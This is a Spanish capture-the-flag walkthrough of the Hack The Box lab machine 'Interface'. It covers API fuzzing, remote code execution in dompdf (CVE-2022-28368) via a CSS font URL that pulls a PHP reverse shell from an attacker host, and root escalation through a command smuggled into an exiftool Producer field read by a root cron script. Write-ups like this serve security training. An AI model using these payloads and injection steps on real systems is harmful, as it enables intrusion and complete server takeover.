Descripción

Interface es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Descubrimientos de puntos de acceso de una API
  • Biblioteca PHP dompdf vulnerable a Ejecución de Comandos Remotos
  • Escalada de Privilegios mediante un script Bash con inyección de expresiones entrecomilladas

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.200.

$ ping -c 3 10.10.11.200
PING 10.10.11.200 (10.10.11.200) 56(84) bytes of data.
64 bytes from 10.10.11.200: icmp_seq=1 ttl=63 time=44.2 ms
64 bytes from 10.10.11.200: icmp_seq=2 ttl=63 time=43.5 ms
64 bytes from 10.10.11.200: icmp_seq=3 ttl=63 time=43.3 ms

--- 10.10.11.200 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 43.286/43.673/44.201/0.386 ms

La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurarnos que es una máquina Unix. Ahora vamos a hacer un escaneo de puertos TCP con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.200 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.200
Host is up (0.045s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.95 seconds

Obtenemos dos puertos abiertos: 22, y 80.

Enumeración

Entonces hacemos un escaneo más avanzado, con versión del servicio y scripts.

$ nmap 10.10.11.200 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.200
Host is up (0.043s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 72:89:a0:95:7e:ce:ae:a8:59:6b:2d:2d:bc:90:b5:5a (RSA)
|   256 01:84:8c:66:d3:4e:c4:b1:61:1f:2d:4d:38:9c:42:c3 (ECDSA)
|_  256 cc:62:90:55:60:a6:58:62:9e:6b:80:10:5c:79:9b:55 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Site Maintenance
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.60 seconds

Obtenemos tres servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Añadimos el dominio interface.htb al archivo /etc/hosts.

$ echo '10.10.11.200 interface.htb' | sudo tee -a /etc/hosts

Encontramos un sitio web que se encuentra en mantenimiento. Al comprobar la respuesta HTTP que recibimos encontramos la cabecera Content-Security-Policy.

HTTP/1.1 200 OK
...
Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' 'self' data: https://www.google.com http://www.google-analytics.com/gtm/js https://*.gstatic.com/feedback/ https://ajax.googleapis.com; connect-src 'self' http://prd.m.rendering-api.interface.htb; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://www.google.com; img-src https: data:; child-src data:;

Descubrimos el subdominio prd.m.rendering-api.interface.htb. Añadimos el host al archivo /etc/hosts.

$ echo '10.10.11.200 prd.m.rendering-api.interface.htb' | sudo tee -a /etc/hosts

Parece una API de servidor, intentamos enumerar con la herramienta curl.

$ curl 'http://prd.m.rendering-api.interface.htb/'
File not found.

Obtenemos un mensaje File not found. , por lo que vamos a realizar un force-brute en las URLs para la descubrimiento de endpoints. Ignoramos las respuestas con 0 bytes.

$ gobuster dir -u 'http://prd.m.rendering-api.interface.htb' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt --status-codes 200,403,404 --status-codes-blacklist '' --exclude-length 0
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:              http://prd.m.rendering-api.interface.htb
[+] Method:           GET
[+] Threads:          10
[+] Wordlist:         /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Status codes:     200,403,404
[+] Exclude Length:   0
[+] User Agent:       gobuster/3.8
[+] Timeout:          10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/api                  (Status: 404) [Size: 50]
/vendor               (Status: 403) [Size: 15]

Uno de los endpoints descubiertos, /vendor, nos muestra un mensaje Access denied..

$ curl -XPOST 'http://prd.m.rendering-api.interface.htb/vendor'
Access denied.

Con el endpoint /api recibimos un mensaje File not found.. Enumeramos los métodos de la API mediante force-brute con los métodos HTTP POST.

$ gobuster dir -u 'http://prd.m.rendering-api.interface.htb/api' -w /usr/share/seclists/Discovery/Web-Content/big.txt --status-codes 200-500 --status-codes-blacklist '' --exclude-length 50 --method POST
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:              http://prd.m.rendering-api.interface.htb/api
[+] Method:           POST
[+] Threads:          10
[+] Wordlist:         /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Status codes:     ...
[+] Exclude Length:   50
[+] User Agent:       gobuster/3.8
[+] Timeout:          10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/html2pdf             (Status: 422) [Size: 36]

Encontramos el endpoint de la API /api/html2pdf. Enumeramos.

$ curl -XPOST 'http://prd.m.rendering-api.interface.htb/api/html2pdf'
{"status_text":"missing parameters"}

Recibimos una respuesta missing parameters como una cadena JSON. Por lo tanto, asumimos que los datos de la solicitud también deben ser una cadena JSON. Podemos enumerar el nombre del parámetro con la herramienta wfuzz.

$ wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -d '{"FUZZ":"test"}' --hc=422 'http://prd.m.rendering-api.interface.htb/api/html2pdf'
...
Target: http://prd.m.rendering-api.interface.htb/api/html2pdf
Total requests: 4746
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================
000002132:   200        76 L     184 W      1130 Ch     "html"

Encontramos el parámetro html, por lo que parece que la solicitud debería contener código HTML. Vamos a hacer una prueba. Recibimos datos binarios, por lo que lo guardamos en un archivo.

$ curl --data '{"html": "This is a <b>HTML</b> test"}' 'http://prd.m.rendering-api.interface.htb/api/html2pdf'
Warning: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or consider "--output <FILE>" to save 
Warning: to a file.
$ wget --content-disposition --post-data '{"html": "This is a <b>HTML</b> test"}' 'http://prd.m.rendering-api.interface.htb/api/html2pdf'.

El archivo se guarda como el archivo export.pdf. Y efectivamente está convirtiendo el código HTML en un archivo PDF. Al comprobar sus metadatos con la herramienta exiftool encontramos el productor del archivo.

$ exiftool export.pdf
ExifTool Version Number         : 13.25
File Name                       : export.pdf
Directory                       : .
File Size                       : 1312 bytes
File Permissions                : -rw-rw-r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.7
Linearized                      : No
Page Count                      : 1
Producer                        : dompdf 1.2.0 + CPDF

El productor del archivo es dompdf 1.2.0 + CPDF. Dompdf 1.2.1 permite la ejecución de código remoto a través de un archivo .php en el campo src:url de una declaración de Cascading Style Sheets (CSS) (dentro de un archivo HTML de entrada), CVE-2022-28368.

Explotación

Tengamos un concepto de prueba de la vulnerabilidad creado por positive-security en GitHub. Vamos a clonar el repositorio Git, modificar el exploit con nuestra dirección IP y el código PHP para la ejecución y luego ejecutar el servidor HTTP.

$ git clone https://github.com/positive-security/dompdf-rce
$ cd dompdf-rce/exploit
$ sed -i 's/localhost:9001/10.10.14.16:8000/g' exploit.css
$ cp /usr/share/webshells/php/php-reverse-shell.php .
$ nano php-reverse-shell.php
$ cat php-reverse-shell.php >> exploit_font.php
$ python -m http.server 8000

Entonces iniciamos el puerto TCP de escucha en el puerto 1234 y luego enviamos la solicitud maliciosa al servidor.

$ nc -nvlp 1234
$ curl --data '{"html": "<link rel=stylesheet href=\"http://10.10.14.16:8000/exploit.css\">"}' 'http://prd.m.rendering-api.interface.htb/api/html2pdf'

Encontramos en el servidor HTTP que los archivos CSS y los archivos PHP se han descargado desde el servidor:

$ python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.200 - - "GET /exploit.css HTTP/1.0" 200 -
10.10.11.200 - - "GET /exploit_font.php HTTP/1.0" 200 -

Ahora necesitamos encontrar el archivo .php en el servidor. Debería estar en la ruta /vendor/dompdf/dompdf/lib/fonts/<font_family>_<style>_<md5_php_url>.php. Necesitamos encontrar el valor de font_familystyle y md5_php_url. Los primeros dos valores se pueden obtener del archivo exploit.css, siendo exploitfont y normal.

$ cat exploit.css
@font-face {
    font-family:'exploitfont';
    src:url('http://10.10.14.16:8000/exploit_font.php');
    font-weight:'normal';
    font-style:'normal';
}

Para el valor md5_php_url calculamos el hash MD5 de la URL desde la cual se descarga el archivo, http://10.10.14.16:8000/exploit_font.php. Obtenemos 209f3a9ca382d1b4881d6015e79aa0d6 por lo tanto la URL completa para activar la vulnerabilidad será: http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_209f3a9ca382d1b4881d6015e79aa0d6.php.

$ echo -ne 'http://10.10.14.16:8000/exploit_font.php' | md5sum
209f3a9ca382d1b4881d6015e79aa0d6  -
$ curl 'http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_209f3a9ca382d1b4881d6015e79aa0d6.php?id=0'

Recibimos la terminal inversa como el usuario www-data.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.200] 46248
Linux interface 4.15.0-202-generic #213-Ubuntu SMP Thu Jan 5 19:19:12 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
 17:06:38 up  5:06,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
Script started, file is /dev/null
www-data@interface:/$ ^Z
$ reset xterm
www-data@interface:/$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Post-Explotación

Encontramos como usuarios de consola root y dev. Podemos listar los archivos del usuario /home/dev.

www-data@interface:~/starting-page/blog$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
dev:x:1000:1000:,,,:/home/dev:/bin/bash
www-data@interface:~/starting-page/blog$ ls -la /home/dev/
total 32
drwxr-xr-x 4 dev  dev  4096 Jan 16  2023 .
drwxr-xr-x 3 root root 4096 Jan 16  2023 ..
lrwxrwxrwx 1 root root    9 Jan 10  2023 .bash_history -> /dev/null
-rw-r--r-- 1 dev  dev   220 Jan 10  2023 .bash_logout
-rw-r--r-- 1 dev  dev  3771 Jan 10  2023 .bashrc
drwx------ 2 dev  dev  4096 Jan 16  2023 .cache
drwx------ 3 dev  dev  4096 Jan 16  2023 .gnupg
-rw-r--r-- 1 dev  dev   807 Jan 10  2023 .profile
-rw-r--r-- 1 root dev    33 Jan 10  2023 user.txt

Comprobamos procesos en ejecución como trabajos de Cron con la herramienta pspy.

www-data@interface:~$ mktemp -d
/tmp/tmp.xgFamx7Si2
www-data@interface:~$ cd /tmp/tmp.xgFamx7Si2
www-data@interface:/tmp/tmp.xgFamx7Si2$ wget http://10.10.14.16:8000/pspy64
www-data@interface:/tmp/tmp.xgFamx7Si2$ chmod +x pspy64
www-data@interface:/tmp/tmp.xgFamx7Si2$ ./pspy64
...
CMD: UID=0     PID=4547   | /bin/bash /usr/local/sbin/cleancache.sh 
CMD: UID=0     PID=4546   | /bin/sh -c /usr/local/sbin/cleancache.sh 
CMD: UID=0     PID=4545   | /usr/sbin/CRON -f

Encontramos que el usuario root está ejecutando el script Bash /usr/local/sbin/cleancache.sh.

www-data@interface:/tmp/tmp.xgFamx7Si2$ cat /usr/local/sbin/cleancache.sh
#! /bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do

    if [[ -f "$cfile" ]]; then

        meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)

        if [[ "$meta_producer" -eq "dompdf" ]]; then
            echo "Removing $cfile"
            rm "$cfile"
        fi

    fi

done

Este script Bash recorre todos los archivos en el directorio /tmp y verifica si cada archivo tiene un campo de metadatos “Producer” establecido en “dompdf” utilizando la herramienta exiftool. Si encuentra tal archivo, lo elimina. En resumen, el script elimina archivos en /tmp cuyos metadatos indican que fueron generados por dompdf. La comparación [[ "$meta_producer" -eq "dompdf" ]] es vulnerable a inyección de expresiones entre comillas ya que ambos lados de la comparación -eq deben ser números enteros. Por lo tanto, podemos explotar esto creando un archivo en el directorio /tmp con la etiqueta Producer establecida en una ejecución de comandos como x[$(/tmp/malicious)].

www-data@interface:/tmp/tmp.xgFamx7Si2$ echo -e '#!/bin/bash\ncp /bin/bash /tmp/tmp.xgFamx7Si2/suid-bash;chmod u+s /tmp/tmp.xgFamx7Si2/suid-bash' > /tmp/tmp.xgFamx7Si2/runsuidbash
www-data@interface:/tmp/tmp.xgFamx7Si2$ chmod +x /tmp/tmp.xgFamx7Si2/runsuidbash
www-data@interface:/tmp/tmp.xgFamx7Si2$ touch /tmp/file
www-data@interface:/tmp/tmp.xgFamx7Si2$ exiftool -Producer='x[$(/tmp/tmp.xgFamx7Si2/runsuidbash)]' /tmp/file

Después de unos segundos el binario SUID de Bash se crea y podemos desplegar una terminal root.

www-data@interface:/tmp/tmp.xgFamx7Si2$ ls
pspy64  runsuidbash  suid-bash
www-data@interface:/tmp/tmp.xgFamx7Si2$ ./suid-bash -p
suid-bash-4.4# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

Flags

En la terminal root podemos recuperar los archivos user.txt y root.txt.

suid-bash-4.4# cat /home/dev/user.txt 
<REDACTED>
suid-bash-4.4# cat /root/root.txt 
<REDACTED>